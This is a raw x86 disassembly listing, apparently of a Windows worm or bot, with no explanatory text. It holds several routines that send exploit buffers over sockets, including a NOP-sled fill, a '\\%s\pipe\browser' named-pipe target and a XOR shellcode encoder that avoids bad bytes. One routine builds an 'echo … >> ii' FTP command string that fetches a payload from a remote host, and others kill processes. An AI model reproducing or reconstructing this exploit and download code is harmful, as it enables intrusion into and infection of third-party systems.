rep movsd mov eax, dword_4465CC mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi ; recv push 0 push 68h push offset dword_44623C push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi ; recv push 0 push 0A0h push offset dword_4462A8 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi ; recv mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446460 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464CC lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446540 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp nop call near ptr 71AB615Ah push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_44634C lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463CC lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch nop call near ptr 2850000h sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 call near ptr 71AB2BF4h nop mov edx, [esp+6FEh] mov [esp+10h], eax push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [esp+1Ah], ax call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FC0 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi ; recv push 0 push 0A8h push offset dword_44604C push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi ; recv push 0 push 0DEh push offset dword_4460F8 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi ; recv movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 2850000h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 call near ptr 71AB2BF4h nop mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call near ptr 71AB615Ah nop mov ecx, offset byte_449521 call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov edx, dword_44965F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx ; _snprintf lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h nop call near ptr 2850000h mov ecx, offset byte_449521 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx ; _snprintf lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi nop call near ptr 71AB615Ah push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469BC rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51011C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C34 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_44696C rep stosd mov eax, dword_446C2C mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_44699C lea edi, [esp+69Ch] mov ax, word_446C28 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_446908 push 104h push edx mov [esp+6BCh], ax call esi ; _snprintf add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F40 push offset byte_448F40 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi ; _snprintf add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx call near ptr 2870478h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446920 push esi nop call near ptr 2790000h test eax, eax jnz short loc_426427 push esi nop call near ptr 28507E8h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi nop call near ptr 27F0000h test eax, eax jnz short loc_426458 push esi nop call near ptr 28507E8h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C6C mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CD0, ecx lea ecx, [eax+1] mov dword_446CF1, ecx lea ecx, [eax+17h] mov dword_446CE9, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CFF, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CE0 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CE4 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CE5 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CE9 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CED mov [ecx+8], esi mov esi, dword_446CF1 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CF5 rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax call near ptr 77C2C407h nop add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510124 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510124, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C54 mov edi, edx mov byte_446C61, bl mov byte_446C65, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C3C mov edi, edx mov word_446C4A, bx mov byte_446C4F, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B1AF[eax*4], ecx mov dword_44B19B[eax*4], ecx mov dword_44B19F[eax*4], ecx mov dword_44B1A3[eax*4], ecx mov dword_44B1A7[eax*4], ecx mov dword_44B1AB[eax*4], ecx mov byte_44AF9B[eax*4], cl mov byte_44B1B3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B1AF[esi*4] push eax nop call near ptr 2780B9Ch cmp dword_44B1AF[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B1AF[esi*4], ebx mov dword_44B19B[esi*4], ebx mov dword_44B19F[esi*4], ebx mov eax, dword_44B1A3[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B1A3[esi*4], ebx mov byte_44AF9B[esi*4], bl mov byte_44B1B3[esi*4], bl mov ecx, dword_44B1A7[esi*4] push ecx call edi ; closesocket mov dword_44B1A7[esi*4], ebx mov edx, dword_44B1AB[esi*4] lea esi, ds:44B1ABh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B19F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D819F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2710000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 27A027Fh test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 28507E8h loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B19B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D819B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B19B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D819B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF9B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F9B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF9Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi 